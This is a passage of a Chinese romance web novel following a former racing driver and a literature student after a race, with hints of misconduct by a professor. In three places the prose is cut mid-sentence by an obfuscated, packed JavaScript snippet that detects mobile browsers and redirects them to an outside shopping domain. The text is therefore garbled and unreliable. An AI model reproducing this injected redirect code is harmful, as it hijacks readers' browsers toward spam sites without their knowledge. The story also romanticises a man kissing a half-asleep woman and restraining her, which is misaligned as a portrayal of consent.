顺着他的视线,梁舒音看见一个男人朝他们这边走了过来,男人身后跟着两个熟面孔。 整件事的始作俑者,林岚和叶子。 “道歉吧。”林枫将人推到梁舒音面前。 叶子倒是能屈能伸,立马鞠躬道歉,忏悔说自己因为嫉妒心作祟,没摆正好心态,枉读了这么多年书。 亏得自己还是中文系的,竟然连仁义礼智的基本道理都罔顾了。 也许是她自己骂自己的那副表情,太过一本正经,秦授在一旁笑出了声,把叶子那张脸弄得更加一阵红一阵白。 叶子道完歉后,林岚还杵在旁边,东张西望,就是不开口。 林枫直接对准她膝窝,一脚踹过去,林岚一个趔趄,险些摔了。 立定好后,她扭头,狠狠瞪了眼林枫,然后又在他眼风的逼迫下,不得不开了口。 “那个,对不起。” “对不起谁了,人家没有名字吗?”林枫揣着胳膊,在旁边吼她。 林岚深吸口气,也知道错在自己,索性放下了面子。 “梁舒音,对不起,是我没了解清楚整件事,误会了你爸。” 她转头又骂了叶子一句,“还不是这个死丫头,事情只说半截。” “总之,我不该说那些侮辱你爸的话,我就是个混账,希望你能原谅我。” 梁舒音有些意外。 没想到早上还嚣张狂妄的两人,此刻竟真的向她低了头。 她下意识瞄了眼抄手立在一旁的陆祁溟,原来这就是车神亲自上场的份量。 他说会让她相信的,而他也的确做到了。 只是,她又欠了他一次。 心底那点戾气消散,梁舒音盯着面前两人,眉心舒展,语气也友好了很多。 “好,你们的道歉我收到了,以后就如林岚所说,咱们井水不犯河水。” “不过,这件事,以及我的身份,还请你们替我保密。” 她看了眼叶子,“尤其是不能让虞大的同学知道。” “为什么?” 叶子反问,“既然你爸是清白的,为什么怕被人知道?” “你也知道他是清白的,可你不也说了那些不该说的,侮辱人的话么?” 叶子一噎,讪讪点头:“知道了。” “行,愿赌服输,不就是保密嘛。” 林岚做个拉链拉上嘴巴的动作,“我林岚脾气虽然不好,但还没有大嘴巴这个爱好。” 晚霞弥漫的天空下,她弯了弯唇角,“谢谢。” 事情了结,就在两人准备离开赛场时,身后有人追了过来。 “陆祁溟——” 陆祁溟脚下一顿,微眯起眼睛,望向来人。 “萧喆?” 萧喆跑过来,人还喘着气,弯了腰,双手扶住膝盖,“对不起,陆祁溟。” “对不起什么?”他明知故问。 “我不该在比赛前对你说那些话,是我太狂妄自大了。” 整场比赛他都被陆祁溟碾压吊打,比赛结果一点悬念都没有,他最后甚至还把人带翻了。 如此重大的事故,陆祁溟非但没丢下他,到最后也没说过一句责骂他的话。 从技术到人品,两人一对比,他早就汗颜又惭愧了。 陆祁溟微挑眼角。 果然,小树不修不直溜。 看着这个几乎跟自己年少时性子相仿的小孩,他抬手拍了拍他肩头。 “年少气盛是好事,但别过于自负,前辈的建议还是要听。” 萧喆挠了挠头,终于露出跟年龄相符的腼腆笑容。 “我知道了,祁哥。” 林枫也跟了过来,手挂在萧喆肩上,忍不住洗刷这位刚才还眼高于顶的少年车手。 “这回知道谁才是真正厉害的主了吧,你陆哥在你这个年纪,都不知道破了多少记录了,就你那点成绩,吹捧听多了,还真以为自己是天才啊。” 萧喆不好意思地觑了眼陆祁溟,胳膊肘戳林枫。 “好了林哥,你别说了,我知错了还不行吗。” 一次道歉换来一个天才少年的自省。 这笔买卖很划算。 林枫心情大好,越说越起劲,一巴掌拍他脑后,“哟,你还有不好意思的一天。” 萧喆不理他,盯着陆祁溟的腿,有些担忧,“对了祁哥,你腿不要紧吧?” 要不是他急功近利,车子最后也不至于失控,差点酿成大祸。 “放心,瘸不了。” 一路围了不少人,在林枫和萧喆在掩护下,两人才冲出人墙,去了停车场。 上车前,陆祁溟手机响起,他拉开车门,示意她先上去。 “冰袋。”她提醒他。 没想到这姑娘还惦记着这件事,他弯了下唇角。 “放心,秦授已经去买了。” 她没再说什么,躬身进了后座。 他那通电话有点久,她靠在椅背上,透过玻璃窗,将视线落在他受伤的那条腿上,不知不觉,眼皮竟慢慢沉重起来。 场景切换,不知为何,她竟然从赛场回到了家中的书房。 轻纱扬起的房间里,尘埃在光点下飞扬,梁蔚坐在窗边的轮椅上,背对着她,不断跟她重复着那句话。 “音音,爸爸不能再保护你了,但你要永远记住爸爸说的那句话。” “君子不立于危墙之下。” 他叮嘱她,让她学着保护自己,永远不要将自己置于危险的境地。 但他的语气里,却已经没了生的意志。 她拼命摇头,哭着,跪着爬到他面前,慌忙地抓住他的轮椅。 “爸爸,我不是什么君子,我也不要你离开。” 被眼泪鼻涕呛到也顾不得了,她胡乱抹了把脸,死命抵住他的轮椅,好像下一秒,他就会连人带椅,坠落下去。 “你不许离开我,你要一直在我身边保护我,你要看着我毕业,工作,结婚。” 她声嘶力竭,嚎啕大哭,“你不可以丢下我,不可以的,爸爸...” 就在她哭得上气不接下气时,耳边“砰”一声,她浑身一抖。 眼前的场景顿时破碎成了幻影。 陆祁溟拿着秦授给的冰袋上车,刚关上车门,就看见女孩双眼紧闭,面颊湿润,一双放在腿上的手紧握成拳,攥得紧紧的。 像是被噩梦缠绕了。 他侧身靠过去,轻声唤她,“梁舒音。” 就在他抬手,用拇指替她抚去面颊的泪痕时,女孩缓缓睁开了眼。 带着刚醒来的懵懂,安静又迷茫地望着近在咫尺的他。 她的睫毛湿漉漉的,眼圈泛红,双颊还挂着两行泪,像漂亮但破碎的瓷娃娃。 他呼吸微滞,心头一动,捏着她下巴,就吻了下去。 温热粗糙的触感落在唇上,梁舒音才彻底从梦中清醒,她反应慢半拍地偏过了头。 男人的吻在浅尝辄止后,落在了她耳下。 陆祁溟埋在她肩窝里,低笑出声,“胆小鬼。” 男人性感磁醇的嗓音,裹挟着滚烫的温热,落在她脖颈中。 心跳漏了半拍,她终于反应过来,伸手去推他。 陆祁溟却起了身,扯了前排中控上的纸巾给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13151889|134839||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她。 “谢谢。” 她伸手接过后,像是什么也没发生一样,淡定地问他:“你的腿没事吧?” “没事。” 言简意赅的回答后,他从袋子里拿出一个冰袋,扔给她,“替我冰敷。” 她怀疑地盯着他,掌心摊着冰袋,没动。 “可是秦授说,你可能会腿瘸。” “别信那家伙危言耸听的鬼话。” 他将裤腿挽起,膝盖支到她面前,人往椅背上一靠,斜眼睨她,“我什么时候骗过你。” 他的膝盖肿了好大一块,青紫色淤青泛上,好在没破皮流血。 没再多问废话,梁舒音赶紧将冰袋贴了上去。 在她给他冰敷时,他的手就搭在她身后的椅背上,像是圈定了一个范围,将她揽入自己的地界。 “今天这个结果,还满意吗?”靠在沙发上的人,突然开口。 梁舒音顿了下,“谢谢你,陆祁溟。” 头顶静了两秒,他又问:“你跟你爸关系很好?” “嗯。” “他走了后,你都过得辛苦吧?” 手中的冰袋掉落,她抬头,警惕地望着他,“你查我?” 陆祁溟漆黑眸子盯着她,半晌,缓缓道:“因为担心你,所以去了解了一点,放心,没查你户口。” 她睫毛颤了颤,垂下眸子,将冰袋捡起来,重新换了个新的,却没再多说一句话。 过了会儿,也许是头颈有些累了,梁舒音下意识调整姿势,一抬头,就撞见陆祁溟正目不转睛盯着她。 “你可以自己拿着冰袋吗?”她问他。 陆祁溟斜睨着她,用温柔的语气说出了欠揍的三个字。 “我手疼。” 梁舒音:“......” 那她一只手还包着纱布呢。 她瞥他一眼,继续低头,认真地替他冰敷,但这回离这个危险人物稍微远了些。 男人却有些得寸进尺,“再往左一点。” 梁舒音听话地把冰袋往他膝盖左边挪。 “再往上。” 她又往上挪了些。 “再——” 梁舒音打断他,“你自己来。” 知道他是故意的,她脾气也上来了,正要撒手,司机不知怎的,忽然一个急转弯,她没稳住,人跟着车子一甩。 没控制好平衡,她径直扑到了男人身上。 陆祁溟的长手本就虚虚地放在她背后,见她摔过来,正好一把将她搂住了。 “投怀送抱?”他低头看着双手撑在他大腿上的人,戏谑道。 大概是因为车里还有其他人,他略微压低了嗓音,离得近了,那声带里磨人的颗粒让人头皮发麻。 梁舒音抬眼瞪他,起身,坐回了原位。 此时正好有一辆摩托车疾驰而过,她将刚才掉落的冰袋捡起来,问他。 “陆祁溟,你当年为什么要退出赛车圈?” “想知道?” 她双眼放光,认真地点了点头,眼底都是窥探的兴致。 他盯着她,意味深长道:“这种隐秘的事,我只告诉我女朋友。” 她立刻移开视线,将装着冰袋的塑料袋系好了,一副我其实也没那么感兴趣的表情。 见她倏然冷淡下来,陆祁溟在心底叹了口气。 这姑娘,还真是捂不热。 快到学校时,他想起什么,伸手从后面拿出一个黑色的方盒。 里面是一个新手机。 “你手机不是摔坏了吗?”他将东西递给梁舒音。 她没接,“谢谢,但不用了。” “先拿着吧,等你手机修好了再还我。” 她还是没伸手。 僵持之中,陆祁溟径直将东西塞进她掌心,循循善诱道:“你这样,我怎么找你?” 梁舒音扭头看他,一脸认真,“你找我做什么?” 陆祁溟皱眉,盯了她两秒,然后抓住她手腕,用力往怀里一拽,强势霸道瞬间取代了刚才的温和。 “你说我找你做什么?” 24. 疑云 刚才还在赛场上为她拼命的男人,此刻却突然脾气上头,一副要吃了她的冷戾模样。 梁舒音并不意外,也不慌张。 因为这段时间的相处,她早就摸透陆祁溟是个什么样的人,嘴上放狠话,但其实根本不会伤害她。 只是手腕被他捏痛,她下意识皱了皱眉头。 陆祁溟察觉到她的微表情,放了手,双手撑在她身侧,将她瘦而窄的身体圈在他双臂之间。 距离更近了。 呼吸喷薄在她面颊,滚烫的,引得她皮肤也微微发烫。 “你真不知道我找你干什么?” 他定定望着她,沉声,又玩味似地重复了一遍。 车子中间的隔板落下,司机听不见、也看不见后排发生了什么。 在他的地盘,被他钳制着无法动弹,若放在往常,梁舒音会生气,会跟他硬碰硬。 但他受伤的膝盖还摆在面前,提醒着她,他刚刚才为她受过伤,她若发火,就真的很混账了。 于是她装作听不懂的样子,用茫然的眼神回应他。 “不知道啊。” 她欠他的人情债,可以用其他方式偿还,但他想要的,她依然给不了。 心动这种东西,没办法支撑她去做出任何非理性的选择。 然而,人的眼睛是最容易暴露性格底色的。 而她这双眼,眼型虽然妩媚,但看人时清冷中带着狡黠的意味,既没有不谙世事的天真,也没有愚蠢的茫然。 相反,光看她这双犀利的眼睛,就能判断出,她是个很聪明的人。 “你知道吗?” 陆祁溟毫不留情地拆穿了她,“你这双漂亮的眼睛,实在不适合装傻充愣。” 她眸光微动,胸膛起伏了下,稍稍偏头,视线从他肩上方穿了过去。 男人却没放过她,虎口掐住她下巴,将她的脸掰过来,逼迫着让她跟自己对视。 “梁舒音,我有没有跟你说过,让你别躲着我?” “所以呢?” 她仰着头,被他拿捏着,疲惫没有血色的一张小脸上仍旧一副较劲的模样。 “所以早上在咖啡厅,你要不是为了躲我,也不会让自己陷入险境了,对吗?” 他看似强硬,语气却是循循善诱,且极度温柔的。 被戳中了心思,梁舒音咽了咽喉头,没接腔。 “看吧,这不就躲出事情来了。”他乘胜追击。 她心虚地垂下了眸子。 “梁舒音,你得知道一点。” 陆祁溟凑近了,光明正大重申他对她的企图,“我虽然不会强迫你,但我看上的人,我也不会这么轻易地放过。” 密闭空间内,他用掺杂着浓稠欲念的气声,明明白白地告诉她一件事。 她逃不出他的掌心了。 把强势说得这么堂而皇之的人,梁舒音生平还是头一回见。 只是滚烫气息灼得她耳朵发烫,一时竟有些耳鸣。 她不舒服地皱了眉,仰头跟他对峙,眼睛里清清楚楚写着“不爽”两个字。 “别用这种眼神盯着我。” 喉头滚动,陆祁溟伸手,用掌心覆盖住她眼睛,语气蛊惑,“因为,我怕我会忍不住把你吃了。” 光线被挡,眼皮是温热的触感,梁舒音本能地深吸了口气。 眼睛看不见的时候,人容易恐慌,但她却丝毫没退让,气势依旧不减。 “那你敢吗?” 她听到他从胸腔闷出的一声低笑。 “要试试吗?” 像是在引|诱她打开潘多拉的魔盒。 窗外开始下雨,淅淅沥沥的,拍打在玻璃窗上。 两条不同方向的水珠蜿蜒,交|合,无声无息融为一体。 静默的僵持中,梁舒音对他的引|诱,采取避而不答的态度。 但毕竟是方寸之地,彼此呼吸因狭窄空间的寂静,被无限放大。 就连吞咽口水的声音,都染上了几分暧昧的欲|色。 陆祁溟盯着她抿唇后湿润的地方,咽了咽喉头,终于拿开掌心,重新回到了他的位置上。 光明进入眼底,禁锢着她的男人离开,她松了口气,第一时间朝车门那边挪了挪。 陆祁溟察觉到她虚张声势的动作,只是轻笑了声,然后将手机塞进她掌心。 她这回没再拒绝。 因为不想再自找麻烦。 下车前,陆祁溟又问了她最后一个问题,“你是不是很怕痛?” 她脚下微顿,推开了车门。 那声冷淡的“没有”,随着她下车的动作,飘散在了风中。 雨越来越大,她却没撑伞,双手举着在头顶挡雨,一只手还包着纱布,也不怕淋湿了,伤口发炎。 陆祁溟的目光一直追随着她匆促的脚步。 从赛场下来,她对他的担忧和迟疑,他都清清楚楚地看在眼底。 她不是不愿意。 而是不敢。 想起刚才提起她父亲的事,她敏锐警惕的神色,这种不敢,莫非跟她的家庭有关? “少爷。” 中间的隔板收回,前排的司机张叔打断他的思索,“秦少说了,无论如何,你还是得去一趟医院。” 陆祁溟从空无一人的大门处收回了视线。 膝盖的痛随着湿润的空气一阵阵袭来,他深深地吁了口气,跟张叔点头。 “好,去找陆医生吧。” 回到家,梁舒音走出电梯,就看见陈可可缩在门口的折叠椅上刷手机。 “你怎么来了?” 陈可可一屁股从椅子上跃起,揉了揉酸涩的眼睛。 “找不到你人,就问了李诗诗,她跟我说了你今天的事儿。” 她将手机揣兜里,牵起梁舒音裹成粽子的那只手,左右看了下,眉头皱成了倒八字。 “你这肯定疼死了吧?” 她一直知道梁舒音极度怕疼,不是心理上那种害怕,而是生理上实打实的剧痛。 第一次知道她这个弱点,是高一暑假,梁舒音去她家做客。 从小梁舒音爸妈就不让她做家务、不让她进厨房,就连水果都是削好切好端到她面前。 而那次在她家,梁舒音见她把苹果皮削得漂亮,心血来潮,也跟着学。 结果,刀子不小心在虎口拉出一条口子。 她当即就脸色煞白,痛得在沙发上弯成一直小虾米,眼泪不断往外飙,连说话都很艰难。 “可可...我有点怕痛,你能...能帮我包扎下吗?” 陈可可险些被她那张,像是失血过多而骤然苍白的脸吓哭了,差点就要打120了。 后来她才知道,梁舒音的痛觉神经,天生就比其他人敏感数十倍,伤口其实并不碍事,只是回回都痛得像是要晕厥。 想起李诗诗描述中,她徒手去握那半截啤酒瓶的场面,陈可可浑身都起了鸡皮疙瘩。 这样的痛,还不得要了她的命? 梁舒音却淡然地摇头,“已经不疼了。” 陈可可咬牙切齿,“没想到叶子竟然那样卑鄙,你好心好意帮她,她还反过来整你。” 梁舒音从包里摸出钥匙,“没事儿,都过去了,她们也道歉了。” 陈可可咬着唇,抠着手,嘴角往下撇着,“这件事都怪我。” 钥匙插入锁孔,一拧,梁舒音推开门,回头看身后耷拉着脑袋的人。 “怎么又怪到你头上了?” “要不是我让你去参加比赛,你也不会得罪林岚,叶子报复你多半也有她姐的原因。” 梁舒音将忏悔的人拉进屋子里。 “可可,这事儿真你没关系,纯粹是因为他们触犯到我的底线了,我才会一时失了控。” 陈可可知道她指的是什么,抿了抿唇,又抬眼觑她,不知道该怎么安慰,她走过去抱住梁舒音,将她搂得紧紧的。 “你说得对,都过去了,咱们音音大宝贝就是最厉害的,都敢徒手抓玻璃了,好勇敢啊。” 梁舒音额角抽了抽,心虚嘟囔道:“我这种莽夫之举,你还是别表扬了。” 两人进了玄关,陈可可换好鞋,将单肩包挂在门口的架子上,问她。 “诗诗说你们中午前就去医院了,你怎么现在才回来?” 梁舒音用皮绳随手扎了个丸子头,顿了下,“去了赛场。” “什么?” 哪怕她只是用一两句话概括了这件事,陈可可依旧从中窥探到了几分暧昧,阴云密布的圆脸,瞬间煦日高照。 “天呐!他可是自从退圈后谁也请不动的车神,竟然为了你,连命都不要啦?” 她一屁股坐在沙发上,抱着墨绿色抱枕,水汪汪的大眼睛滴溜溜打转。 “所以,对于这件事,你是怎么想的?” 梁舒音给她倒了一杯水,在她旁边坐下,也从背后抽出靠背,往怀里一塞,转头看着阳台的花草,轻描淡写地开口。 “我不知道。” 陈可可抿着水,眼睛从玻璃杯中透视她。 比起以前的“没什么”,她今天这个回答,虽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13178183|134839||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然依旧没有定论,但显然,已经不太一样了。 “你饿了么,想吃什么?” 梁舒音拿出手机,战略性转移话题,“我点外卖。” “别点了,你今天受了伤,得补补,我给你炖汤吧。” 陈可可放下杯子,小跑去了厨房,半分钟后,从厨房传来她悲怆的呐喊。 “音音,你家冰箱怎么什么也没有呀?” “因为顾言西出国了呀。”客厅的某人说得义正词严。 陈可可手撑在脑门上,重重叹了口气。 她知道梁舒音不会做饭,又挑食,她舅舅几乎每周都会上门,将她的冰箱填满,再塞几十个亲手包的馄饨。 但也没想过她冰箱竟然秃成这样,连颗鸡蛋也没有。 关上冰箱门,陈可可走到玄关去换鞋,“我去楼下买点菜。” 别看陈可可长得可爱,像个养尊处优的温室花朵,但其实她从小被寄养在奶奶家,日子并不好过。 奶奶重男轻女,把她堂弟当成宝,她反倒像个任劳任怨的保姆。 那几年,她个头刚有灶台那么高,就搭着个凳子学做饭,十根手指头有三个都在切菜时受过伤,没认真上药,留了疤。 后来她在外地创业的妈妈知道女儿过得不好,哭着和奶奶大吵一架,跟她爸离婚后,就将她带走了。 她妈程琳坚决不让她再做饭,但她偏又喜欢下厨,偶尔研究两道菜,味道几乎跟外面饭馆的都没什么区别。 闻言,梁舒音走到玄关,从抽屉里拿了把墨绿色的伞出来,递给陈可可。 “那就辛苦可可小姐啦。” 等人走后,她却没立刻关上抽屉,那里面还有一把黑色的折叠伞。 陆祁溟的。 之前在阳台晾干后,她忘了带在身上了,开学这几天又太忙,完全没想起这件事。 不属于她的东西,自然要归还,她将伞拿出来,顺手塞进了包里。 窗外雨势增大,暴雨如注,阳台的花被打落,红的白的花瓣,七零八落,坠了一地。 她拉上窗户,将脆弱的那两盆花抱起来,换了个墙角安全的位置。 暮色尽染,楼上咿咿呀呀的戏曲声传来,而她却没离开,盯着玻璃窗上的自己出神。 不管花还是人,都一样,如果想要及时止损,或避开危险,最好的办法,就是别让自己再置身于任何可能到来的风暴中。 开学第一周以戏剧性的方式结束。 一场暴雨后,秋老虎消退,空气中又添了丝凉意。 周一,梁舒音第一节文学理论课后,就被辅导员叫去了办公室。 虞大校庆在即,她在新生汇演上的表现出了圈,辅导员苏芮想让她跟话剧社、诗社的人一起,搞个混搭的创新节目,在表演中加入打鼓的元素。 梁舒音对校庆没兴趣,找了借口婉拒。 苏芮见她态度强硬,也不想难为这个年年拿奖学金的优等生,苦口婆心劝了半天后,还是放她离开了。 从辅导员办公室出来,差不多快到午饭时间了。 她快步走到电梯间,结果发现三楼的电梯坏了,前面放了个黄色提示牌。 “正在维修中” 她掉头去了走廊尽头的楼梯间。 推开厚重的木门,她边刷着班级群里跳出的信息,边踩着步子慢慢往下。 走到二楼,楼梯间恰好对着教师办公室,有人从里头出来,低着头,捂着脸,发出蚊蚋般的声音,脚步仓促得像是撞了鬼。 她下意识抬头,就看见林语棠的背影。 如果没听错,林语棠刚才是在...哭? 梁舒音抬头朝那间教师办公室望去,很快听见了一个中年男人的声音从里头传来。 “嗯,刚下课,中午当然要回来伺候老婆大人了。” 她握着手机的指节骤然收紧。 她认识那个熟悉的声音,是李明德,文学系主任,教现当代文学的。 李明德没在她的班级授课,不过她这学期倒是选修了他每周一晚上的诗歌鉴赏课。 掌心的手机猝然响起,大张旗鼓的铃声,刺破了楼道被围困的阴冷空气。 大概是听到门外的动静,李明德起身朝门口走了出来。 厚重的脚步声渐近。 梁舒音接起陈可可的电话,转身下楼,“嗯,我刚从苏老师办公室出来。” 她边讲电话,边踩着楼梯,一步一步缓缓往下走。 沉闷的空气中,她莫名感觉有一双漆黑的眼睛,如鹰鸷般,紧紧盯着她的后脑勺。 25. 危险 直到梁舒音下到楼梯拐角处,男人也并未撤回脚步。 她知道他在往下看。 “好,还是要巧克力味的吗?” 她低着头,若无其事地跟陈可可讲电话,但脚下的每一步都踩在自己的心跳上。 一分钟后,等她从侧门走出去时,后背已经渗出了虚汗。 她忍住回头朝二楼窗台望去的好奇心,快速离开了这栋阴影笼罩的办公楼。 回到宿舍,她用钥匙拧开门,就看见林语棠在凳子上呆坐着,包还挂在肩头没取下,连宿舍有人回来都没察觉。 她叫了声:“语棠?” 林语棠反应慢半拍地转过头,“你回来啦。” “发什么呆呢?” “没什么,可能是有些中暑。” 她将单肩包从身下取下来,勉强地扯了下嘴角,“你说都九月底了,咋还这么热。” 热吗? 每个人对天气的体感不一样,梁舒音打开手机,查了下今日的温度。 25° 她没多说什么,将冰淇淋从袋子里拿出来,一个放在陈可可桌上,另一个递给林语棠。 “吃盒冰淇淋就凉快了。” 林语棠伸手去接,脸色终于自然了些,“谢谢。” 梁舒音盯着她,语气漫不经心的,“对了,刚刚在办公楼看见你,本来想叫你,但你跑得太快了。” 林语棠手一僵,顿了一两秒才接过冰淇淋,抬头看她时,眼神像触电般不自然地移开了。 “我可能当时太饿了,急着跑去食堂吧。” 梁舒音转身回到自己的位置上,拉开椅子,从抽屉里拿出个发圈,随手扎了个丸子头,然后扭头看向林语棠。 “没关系,我就是随口一问。” 林语棠看她一眼,慌忙从柜子里抓了件衣服出来,低垂着脑袋。 “那我先去冲个凉。” “快去吧,不然冰淇淋都要化了。” 她前脚进了卫生间,陈可可后脚就嚷嚷着推开宿舍的门。 见梁舒音拿起扫帚准备扫地,陈可可将包往凳子上一扔,一屁股坐在书桌上,把地面的位置给人腾出来。 “好累啊,嗓子都冒烟了。”她拿起桌上的冰淇淋,“你说这群人干嘛这么积极,校庆不是还早吗?” 她撕开包装,挖了一勺进嘴里,凉凉的巧克力融化在舌尖,排练的燥热顿时被缓解。 “还好你没进话剧社,那帮人跟打了鸡血似的,大中午的一点都不累。” “你不是一直挺喜欢的吗?” 林语棠的凳子下有零星的碎纸屑,像是被随手撕掉的那种,梁舒音拉开凳子,将碎纸屑扫了出来。 “也是。” 陈可可咧嘴一笑,“不过你说我跟莎士比亚是有多大的缘分啊,高中排他的剧,大学又排。” 陈可可噼里啪啦输出一大箩筐,没听见回应,抬头才看见梁舒音已经扫完了地,正靠在书桌前,拿着个翻页的日历在走神。 她叹口气道:“音音,今晚又是李明德的课了。” “嗯。” 梁舒音将日历放下,从旁侧的柜子上抽出一本泛黄的先秦作品集,那里头夹着一个手写的书签。 上面是飘逸凌厉的四个字。 “不平则鸣” 陈可可突然就没食欲了,她将冰淇淋往旁边一扔,从桌上跳下来,小心翼翼地开口。 “这都两年了,还没进展。” “啪——” 手头的书被梁舒音阖上,她朝阳台外望去。 天色阴沉,风吹得宿舍外的参天大树东摇西晃,张牙舞爪的样子,颇有种虚张声势的架势。 她收回视线,将书放回了柜子的最里侧,看着陈可可道:“或许,快了。” 晚上的戏剧鉴赏课在七点。 梁舒音六点四十才从食堂回来,风有点大,她从柜子里找了件针织开衫套上,跟一直等着她的陈可可说:“走吧。” “语棠呢?” 陈可可瞄了眼靠着阳台的空位,疑惑道:“她难道忘了今晚有课了?” “可能她已经去教室了吧。” 陈可可“哦”了声,想起林语棠最近总是神出鬼没,关上宿舍门前,又忍不住看了眼她的书桌。 两人跟以往一样,找了个不起眼的角落落座。将包塞进书桌时,梁舒音下意识环视教室。 几乎满座。 她深吸了口气,心里莫名烦闷,笔尖不觉在草稿纸上画出了一堆乱七八糟的东西。 搁在桌上的手机响起,她掀起眼皮看了眼,默了几秒才伸手拿过来。 是陆祁溟发来的信息。 【在上课?】 【嗯】 【什么课?】 梁舒音拿起手机,拍下投影上的那几个大字,发给他。 陆祁溟:【有课表吗?】 【?】 【我忽然对你们中文系的课很感兴趣】 【学校官网有,感兴趣可以自己去查】 回完这条,梁舒音就将陆祁溟的账号设为免打扰,然后把手机反扣在了桌上。 几分钟后,她察觉到陈可可一刻不闲地敲着手机,还时不时瞟她一眼,显然不太对劲。 “跟谁聊呢。”她狐疑地看向做贼的人。 “就是那个...秦授啊。” 陈可可放下手机,手臂叠在一起,心虚又乖巧地望着她。 “他问我要课表,说是对咱们系的课很感兴趣,想提升下文化修养。” “你信他?” 陈可可摇头,“不...太信。” “我猜——” 她狡黠一笑,凑过去,压低声音道:“真正想要的应该另有其人吧。” 梁舒音看她一眼,“那你还给。” 陈可可撅嘴,“你又没说不让我给。” 梁舒音拿着手头的笔,敲她脑门,“我看你就是存心的。” 这时,教室内响起一阵窸窸窣窣的躁动。 李明德一手拿着公文包,一手拿着水杯,身姿笔挺地进来了。 他穿着白衬衫、西裤,衬衫袖口挽起,鼻梁上架着黑框眼镜,一副温润如玉的模样。 若是不看脸,光那笔挺的背影,也很难让人相信他已经年过四十了。 也许是他皮囊还不错,为人又风趣幽默,他的选修课一直都是满座的。 李明德一进教室,室内学生的目光都粘在他身上了。 当然,除了梁舒音。 “那不是棠棠吗?” 陈可可戳了下梁舒音胳膊,“她怎么跟李明德一前一后进来?” 梁舒音抬起头,漠然地朝前方看了眼,没应声。 --- 私立医院的病房内。 陆祁溟靠在病床上,刚做完术前检查的他,盯着手机上的信息,差点气笑了。 问她课表,她让他自己去查。 那日从赛场回来,她在车上的低眉顺目,还真是稍纵即逝。 也对,温柔的确不属于她。而他喜欢的,也正是她身上的那股劲儿。 秦授从门口进来,将刚打印出来的一页纸递给他,见他唇角带笑,瞥了眼他手机屏幕,习惯性地开口揶揄。 “都要做手术了,还不肯让姑娘知道,这年头竟然还有你这种情圣。” 陆祁溟接过课表,撩起眼皮,淡淡扫他一眼。 “不然呢,拿这种事去道德绑架她?” 秦授坐在床尾的沙发上,翘着二郎腿,拿眼睛觑病床上的人。 “生平第一次追姑娘就碰了钉子,什么感想?” 陆祁溟目光掠过手头的课表,没理他。 “不过也不能怪你,这姑娘的确心太硬了。” 秦授拧开瓶苏打水,喝了口,不安好心地提议道:“不如换一个吧,换一个都不用你追,人主动就投怀送抱了。” 陆祁溟也没恼,唇角一勾,不痛不痒地使出杀手锏。 “你换得那么勤,不怕染病吗?” 被精准攻击,秦授也只冷笑一声,“死了最好,一了百了。” “嗯,死亡当然是懦夫解决问题的惯用手段。” 陆祁溟冷冷看他一眼,嗤笑道,“那要是死不了,也活不成呢?” 秦授仰头靠在沙发上,双手大张,眼睛盯着头顶的白炽灯,一副百无聊赖的样子。 陆祁溟挨着扫了眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13203259|134839||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 梁舒音的课表,看向今晚那堂课。 李明德,戏剧鉴赏课。 他看了眼时间,过去刚好赶上她下课。 视线从课表收回,他掀开被子下床,随手抓过旁边架子上的外套。 秦授一急,“你干嘛?不会是想溜出去吧?” 见他不说话,秦授起了身,收起吊儿郎当的样子,一脸严肃地告诫他。 “陆煦说了,从今晚起你就不准离开医院了。” “放心。” 陆祁溟扣着袖口,冷眼盯着窗玻璃中自己的影子,微偏了头活动发酸的脖颈。 “明早手术,不会耽误的。” 秦授径直拿出手机,“行,你走吧。我现在就打电话给梁舒音,告诉她你手术的事。” “反正,你也只听她的话。” 陆祁溟手一顿,偏头看他,“你确定要这样做?” “那得看你了。” --- 今晚这堂课,讲的是曹禺的《雷雨》。 台上的李明德兴致高昂,台下的同学则像虔诚的信徒,一瞬不眨盯着他。 整个阶梯教室里,只有他抑扬顿挫的声音。 梁舒音冷眼望着讲台上的伪君子,唇角牵起一个冷嘲的笑。 下课铃声响起后,李明德跟前排的林语棠说:“课代表,等会儿到我办公室来拿下节课的资料。” 林语棠低眉顺目回他:“好的,老师。” 笔盖“啪”一声被梁舒音用力阖上。 她听见陈可可在旁边敲着手机回复信息,不耐烦地抱怨道:“这么晚了,还要去排练,不如让我死了算了。” “哎,音音你先回吧。” 陈可可收了电话,用手臂将书本一股脑扫进她那个大布袋里,“我得去话剧社当牛马了。” “好。” 梁舒音将书本叠好,“要给你带冰淇淋吗?” “行—” 陈可可摸了下自己浑圆的肚子,改口道:“算了,我得减肥了。” “好。” 教室里的人走得七七八八,还剩下零星几个。 梁舒音抬头看了眼前排,林语棠还在埋首写着什么,丝毫没有要离开的意思。 